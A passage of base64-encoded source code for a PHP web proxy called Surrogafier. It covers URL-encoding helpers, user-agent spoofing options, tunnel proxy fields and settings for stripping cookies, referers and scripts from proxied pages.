sMCwzKSkhPSclN2UnKSByZXR1cm4gJHVybDsNCgkjd2hpbGUoc3RycG9zKCR1cmwsJyUnKSE9PWZhbHNlKSAkdXJsPXVybGRlY29kZSgkdXJsKTsNCgkjJHVybD11cmxkZWNvZGUoJHVybCk7DQoJd2hpbGUoJHVybHswfT09J34nIHx8IHN0cnRvbG93ZXIoc3Vic3RyKCR1cmwsMCwzKSk9PSclN2UnKXsNCgkJJHVybD1zdWJzdHIoJHVybCwxKTsNCgkJJHVybD1teV9iYXNlNjRfZGVjb2RlKCR1cmwpOw0KCQkkbmV3X3VybD1udWxsOw0KCQlmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCQkkY2hhcj1vcmQoJHVybHskaX0pOw0KCQkJJGNoYXItPW9yZChzdWJzdHIoU0VTU19QUkVGLCRpJXN0cmxlbihTRVNTX1BSRUYpLDEpKTsNCgkJCXdoaWxlKCRjaGFyPDMyKSAkY2hhcis9OTQ7DQoJCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgkJfQ0KCQkkdXJsPSRuZXdfdXJsOw0KCX0NCglyZXR1cm4gdXJsZGVjb2RlKCR1cmwpOw0KfQ0KDQojIH19fQ0KDQojIEpBVkFTQ1JJUFQgRU5DT0RJTkcgRlVOQ1RJT05TIHt7ew0KDQpmdW5jdGlvbiBqc19wcm94ZW5jKCl7ID8+DQovLzxzY3JpcHQ+DQo8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlPXsNCmV4cG9uOmZ1bmN0aW9uKGEsYil7DQoJdmFyIG51bTsNCglpZihiPT0wKSByZXR1cm4gMTsNCgludW09YTsgYi0tOw0KCXdoaWxlKGI+MCl7IG51bSo9YTsgYi0tOyB9DQoJcmV0dXJuIG51bTsNCn0sDQoNCmRlY3RvYmluOmZ1bmN0aW9uKCl7DQoJdmFyIGRlYz1hcmd1bWVudHNbMF0sY2hhcnM9YXJndW1lbnRzWzFdfHw4LGJpbnJlcD0iIjsNCglmb3Ioaj1jaGFycy0xO2o+PTA7ai0tKXsNCgkJaWYoZGVjPj10aGlzLmV4cG9uKDIsaikpew0KCQkJYmlucmVwKz0iMSI7IGRlYy09dGhpcy5leHBvbigyLGopOw0KCQl9DQoJCWVsc2UgYmlucmVwKz0iMCI7DQoJfQ0KCXJldHVybiBiaW5yZXA7DQp9LA0KDQpiaW50b2RlYzpmdW5jdGlvbigpew0KCXZhciBiaW49YXJndW1lbnRzWzBdLGNoYXJzPWFyZ3VtZW50c1sxXXx8OCxkZWM9MDsNCglmb3IodmFyIGo9MDtqPGNoYXJzO2orKykgaWYoYmluLnN1YnN0cmluZyhqLGorMSk9PSIxIikgZGVjKz10aGlzLmV4cG9uKDIsY2hhcnMtMS1qKTsNCglyZXR1cm4gZGVjOw0KfSwNCg0KYjY0ZTpmdW5jdGlvbihzdHJpbmcpew0KCXZhciBlbmNzdHI9IiIsYmlucmVwPSIiOw0KCXZhciBjaGFyYmluLGNoYXJudW07DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtKTsNCgl9DQoJd2hpbGUoYmlucmVwLmxlbmd0aCU2KSBiaW5yZXArPSIwMCI7DQoJZm9yKHZhciBpPTE7aSo2PD1iaW5yZXAubGVuZ3RoO2krKyl7DQoJCWNoYXJiaW49YmlucmVwLnN1YnN0cmluZygoaS0xKSo2LGkqNik7DQoJCWNoYXJudW09dGhpcy5iaW50b2RlYyhjaGFyYmluLDYpOw0KCQlpZihjaGFybnVtPD0yNSkgY2hhcm51bSs9NjU7DQoJCWVsc2UgaWYoY2hhcm51bTw9NTEpIGNoYXJudW0rPTcxOw0KCQllbHNlIGlmKGNoYXJudW08PTYxKSBjaGFybnVtLT00Ow0KCQllbHNlIGlmKGNoYXJudW09PTYyKSBjaGFybnVtPTQzOw0KCQllbHNlIGlmKGNoYXJudW09PTYzKSBjaGFybnVtPTQ3Ow0KCQllbmNzdHIrPVN0cmluZy5mcm9tQ2hhckNvZGUoY2hhcm51bSk7DQoJfQ0KCXdoaWxlKGVuY3N0ci5sZW5ndGglOCkgZW5jc3RyKz0iPSI7DQoJcmV0dXJuIGVuY3N0cjsNCn0sDQoNCnByb3hlbmM6ZnVuY3Rpb24odXJsKXsNCgl2YXIgbmV3X3VybD0iIjsNCgl2YXIgY2hhcm51bTsNCglpZih1cmwuc3Vic3RyaW5nKDAsMSk9PSJ+IiB8fCB1cmwuc3Vic3RyaW5nKDAsMykudG9Mb3dlckNhc2UoKT09IiU3ZSIpIHJldHVybiB1cmw7DQoJdXJsPWVuY29kZVVSSUNvbXBvbmVudCh1cmwpOw0KCXZhciBzZXNzX3ByZWY9Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iOw0KCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09dXJsLmNoYXJDb2RlQXQoaSk7DQoJCWNoYXJudW0rPXNlc3NfcHJlZi5jaGFyQ29kZUF0KGklc2Vzc19wcmVmLmxlbmd0aCk7DQoJCXdoaWxlKGNoYXJudW0+MTI2KSBjaGFybnVtLT05NDsNCgkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgl9DQoJcmV0dXJuICJ+IitlbmNvZGVVUklDb21wb25lbnQodGhpcy5iNjRlKG5ld191cmwpKTsNCn0NCn0NCjw/IH0NCg0KIyB9fX0NCg0KIyBGSVJTVCBQQUdFIERJU1BMQVlFRCBXSEVOIEFDQ0VTU0lORyBQUk9YWSB7e3sNCg0KaWYoUEFHRVRZUEVfSUQ9PT1QQUdFVFlQRV9GT1JDRV9NQUlOIHx8IChzdWJzdHIoUVVFUllfU1RSSU5HLDAsMykhPSdqc18nICYmIE9SSUdfVVJMPT1udWxsKSl7DQoNCiR1c2VyYWdlbnRpbmZvPW51bGw7DQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnd2luZG93cycpIT09ZmFsc2UgfHwgc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ3dpbjMyJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdXaW5kb3dzJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjaW50b3NoJykhPT1mYWxzZSB8fCBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbWFjX3Bvd2VycGMnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J01hY2ludG9zaCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2xpbnV4JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdMaW51eCc7DQplbHNlaWYoc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ2JzZCcpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nQlNEJzsNCmVsc2UgJHVzZXJhZ2VudGluZm8uPSdVbmtub3duJzsNCg0KJHVzZXJhZ2VudGluZm8uPScgLyAnOw0KDQppZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbXNpZScpIT09ZmFsc2UpICR1c2VyYWdlbnRpbmZvLj0nSW50ZXJuZXQgRXhwbG9yZXInOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdmaXJlZm94JykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdGaXJlZm94JzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnbmV0c2NhcGUnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J05ldHNjYXBlJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwnb3BlcmEnKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J09wZXJhJzsNCmVsc2VpZihzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSwna29ucXVlcm9yJykhPT1mYWxzZSkgJHVzZXJhZ2VudGluZm8uPSdLb25xdWVyb3InOw0KZWxzZWlmKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCdzZWFtb25rZXknKSE9PWZhbHNlKSAkdXNlcmFnZW50aW5mby49J1NlYU1vbmtleSc7DQplbHNlICR1c2VyYWdlbnRpbmZvLj0nVW5rbm93bic7DQoNCiR1c2VyYWdlbnRfYXJyYXk9YXJyYXkoDQoJYXJyYXkobnVsbCwiQWN0dWFsICh7JHVzZXJhZ2VudGluZm99KSIpLA0KCWFycmF5KCctMScsJyBbIERvblwndCBTZW5kIF0gJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDUuMTsgZW4tVVM7IHJ2OjEuOC4xKSBHZWNrby8yMDA2MTAyNCBGaXJlZm94LzIuMCcsJ1dpbmRvd3MgWFAgLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBTVjEpJywnV2luZG93cyBYUCAvIEludGVybmV0IEV4cGxvcmVyIDcnKSwNCglhcnJheSgnTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNi4wOyBXaW5kb3dzIE5UIDUuMTsgU1YxKScsJ1dpbmRvd3MgWFAgLyBJbnRlcm5ldCBFeHBsb3JlciA2JyksDQoJYXJyYXkoJ09wZXJhLzkuMDIgKFdpbmRvd3MgTlQgNS4xOyBVOyBlbiknLCdXaW5kb3dzIFhQIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoTWFjaW50b3NoOyBVOyBQUEMgTWFjIE9TIFg7IGVuLVVTOyBydjoxLjguMSkgR2Vja28vMjAwNjEwMjQgRmlyZWZveC8yLjAnLCdNYWMgT1MgWCAvIEZpcmVmb3ggMi4wJyksDQoJYXJyYXkoJ01vemlsbGEvNS4wIChNYWNpbnRvc2g7IFU7IFBQQyBNYWMgT1MgWDsgZW4pIEFwcGxlV2ViS2l0LzUyMS4yNSAoS0hUTUwsIGxpa2UgR2Vja28pIFNhZmFyaS81MjEuMjQnLCdNYWMgT1MgWCAvIFNhZmFyaSAzLjAnKSwNCglhcnJheSgnT3BlcmEvOS4wMiAoTWFjaW50b3NoOyBQUEMgTWFjIE9TIFg7IFU7IGVuKScsJ01hYyBPUyBYIC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoWDExOyBVOyBMaW51eCBpNjg2OyBlbi1VUzsgcnY6MS44LjEpIEdlY2tvLzIwMDYxMDI0IEZpcmVmb3gvMi4wJywnTGludXggLyBGaXJlZm94IDIuMCcpLA0KCWFycmF5KCdPcGVyYS85LjAyIChYMTE7IExpbnV4IGk2ODY7IFU7IGVuKScsJ0xpbnV4IC8gT3BlcmEgOS4wMicpLA0KCWFycmF5KCdNb3ppbGxhLzUuMCAoY29tcGF0aWJsZTsgS29ucXVlcm9yLzMuNTsgTGludXgpIEtIVE1MLzMuNS41IChsaWtlIEdlY2tvKScsJ0xpbnV4IC8gS29ucXVlcm9yIDMuNS41JyksDQoJYXJyYXkoJ0xpbmtzICgyLjFwcmUxOTsgTGludXggMi42IGk2ODY7IHgpJywnTGludXggLyBMaW5rcyAoMi4xcHJlMTkpJyksDQoJYXJyYXkoJ0x5bngvMi44LjVyZWwuMScsJ0FueSAvIEx5bnggMi44LjVyZWwuMScpLA0KCWFycmF5KCdEaWxsby8wLjguNicsJ0FueSAvIERpbGxvIDAuOC42JyksDQoJYXJyYXkoJ1dnZXQvMS4xMC4yJywnQW55IC8gV2dldCAxLjEwLjInKSwNCglhcnJheSgnMScsJyBbIEN1c3RvbSBdIDxub3NjcmlwdD48Yj4qKjwvYj48L25vc2NyaXB0PicpDQopOw0KDQpkZWZpbmUoJ0lQUkVHRVhQJywnL14oKD86WzAtMl17MCwyfVswLTldezEsMn1cLil7M31bMC0yXXswLDJ9WzAtOV17MSwyfSlcOihbMC05XXsxLDV9KSQvJyk7DQoNCj8+DQo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBTdHJpY3QvL0VOIiANCiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtc3RyaWN0LmR0ZCI+DQoNCjxodG1sPg0KPGhlYWQ+DQo8dGl0bGU+U3Vycm9nYWZpZXI8L3RpdGxlPg0KPG1ldGEgbmFtZT0icm9ib3RzIiBjb250ZW50PSJpbmRleCwgbm9mb2xsb3ciIC8+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zfQ0KCWlucHV0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJc2VsZWN0e2JvcmRlcjogMXB4IHNvbGlkICMwMDAwMDB9DQoJYXtjb2xvcjogIzAwMDAwMH0NCglhOmhvdmVye3RleHQtZGVjb3JhdGlvbjogbm9uZX0NCgkuYWR2YW5jZWRfc3R1ZmZ7ZGlzcGxheTogPD9waHAgZWNobyhTSU1QTEVfTU9ERT8nbm9uZSc6J3RhYmxlLXJvdycpOyA/Pn0NCgkuc2ltcGxlX3N0dWZme2Rpc3BsYXk6IDw/cGhwIGVjaG8oU0lNUExFX01PREU/J3RhYmxlLXJvdyc6J25vbmUnKTsgPz59DQoJLnVybHt3aWR0aDogPD9waHAgZWNobyhTSU1QTEVfTU9ERT9TSU1QTEVfTU9ERV9VUkxXSURUSDonOTklJyk7ID8+fQ0KCS5zaWduYXR1cmV7ZmxvYXQ6IGxlZnR9DQo8P3BocCBpZihGT1JDRV9TSU1QTEUpeyA/Pg0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5zaWduYXR1cmV7dGV4dC1hbGlnbjogY2VudGVyOyBmbG9hdDogbm9uZX0NCjw/cGhwIH0gPz4NCjwvc3R5bGU+DQo8P3BocCBpZighRk9SQ0VfU0lNUExFKXsgPz48bm9zY3JpcHQ+PHN0eWxlPg0KCS5hZHZhbmNlZF9zdHVmZntkaXNwbGF5OiB0YWJsZS1yb3d9DQoJLnNpbXBsZV9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdF9zdHVmZntkaXNwbGF5OiBub25lfQ0KCS5ub3NjcmlwdHVybHt3aWR0aDogOTklfQ0KCS51cmx7ZGlzcGxheTogbm9uZX0NCgkuc2lnbmF0dXJle3RleHQtYWxpZ246IGNlbnRlcjsgZmxvYXQ6IG5vbmV9DQo8L3N0eWxlPjwvbm9zY3JpcHQ+PD9waHAgfSA/Pg0KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQo8IS0tDQoNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gdXNlcmFnZW50X2NoZWNrKGZvY3VzKXsNCglpZihkb2N1bWVudC5nZXRFbGVtZW50c0J5TmFtZSgnPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQnKVswXS52YWx1ZT09JzEnKXsNCgkJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSIiOw0KCQlpZihmb2N1cykgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJzw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCcpLmZvY3VzKCk7DQoJfQ0KCWVsc2UgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VzZXJhZ2VudF90ZXh0dHInKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCn0NCg0KPD9waHAgaWYoIUZPUkNFX1NJTVBMRSl7ID8+DQphZHZhbmNlZF9tb2RlPXRydWU7DQpmdW5jdGlvbiB0b2dnbGVfbW9kZSgpew0KCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJtb2RlX3RvZ2dsZXIiKS5pbm5lckhUTUw9KGFkdmFuY2VkX21vZGU/IkFkdmFuY2VkIE1vZGUiOiJTaW1wbGUgTW9kZSIpOw0KCXZhciBhZHZhbmNlZF9zdHVmZj1kb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgidHIiKTsNCglmb3IodmFyIGk9MTtpPD0xMjtpKyspIGFkdmFuY2VkX3N0dWZmW2ldLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/Im5vbmUiOiIiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic2ltcGxlX3N1Ym1pdCIpLnN0eWxlLmRpc3BsYXk9KGFkdmFuY2VkX21vZGU/ImlubGluZSI6Im5vbmUiKTsNCglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidXJsIikuc3R5bGUud2lkdGg9KGFkdmFuY2VkX21vZGU/Ijw/cGhwIGVjaG8oU0lNUExFX01PREVfVVJMV0lEVEgpOyA/PiI6Ijk5JSIpOw0KCWFkdmFuY2VkX21vZGU9IWFkdmFuY2VkX21vZGU7DQoJaWYoYWR2YW5jZWRfbW9kZSkgdXNlcmFnZW50X2NoZWNrKGZhbHNlKTsNCglzZXRUaW1lb3V0KCJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykuZm9jdXMoKTsiLDEwMCk7DQp9DQo8P3BocCB9ID8+DQoNCmZ1bmN0aW9uIHN1Ym1pdF9jb2RlKCl7DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5kaXNhYmxlZD1mYWxzZTsNCglpZihkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X2VuY3J5cHRfdXJscy5jaGVja2VkKQ0KCQlkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnZhbHVlPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGUucHJveGVuYyhkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWUpOw0KCWVsc2UNCgkJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgndXJsJykudmFsdWU7DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5PD9waHAgZWNobyhTSU1QTEVfTU9ERT8nIG9ubG9hZD0idG9nZ2xlX21vZGUoKTsiJzpudWxsKTsgPz4+DQo8Y2VudGVyPg0KPHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogMThwdDsgZm9udC13ZWlnaHQ6IGJvbGQ7IG1hcmdpbi1ib3R0b206IDVweCI+U3Vycm9nYWZpZXI8L3NwYW4+DQo8Zm9ybSBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzogMHB4Ij4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fc2V0X3ZhbHVlcyIgdmFsdWU9IjEiIC8+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBkaXNhYmxlZD0iZGlzYWJsZWQiIC8+DQo8dGFibGU+DQo8dHI+DQo8dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPlVSTDombmJzcDsmbmJzcDs8L3RkPg0KPHRkPg0KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0idXJsIiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPg0KCTxub3NjcmlwdD48aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9Im5vc2NyaXB0dXJsIiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+IiBpZD0idXJsIiB2YWx1ZT0iPD9waHAgZWNobyhPUklHX1VSTCk7ID8+IiAvPjwvbm9zY3JpcHQ+DQoJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9InNpbXBsZV9zdHVmZiIgaWQ9InNpbXBsZV9zdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjRjBGMEYwIiAvPg0KPC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIjw/cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0K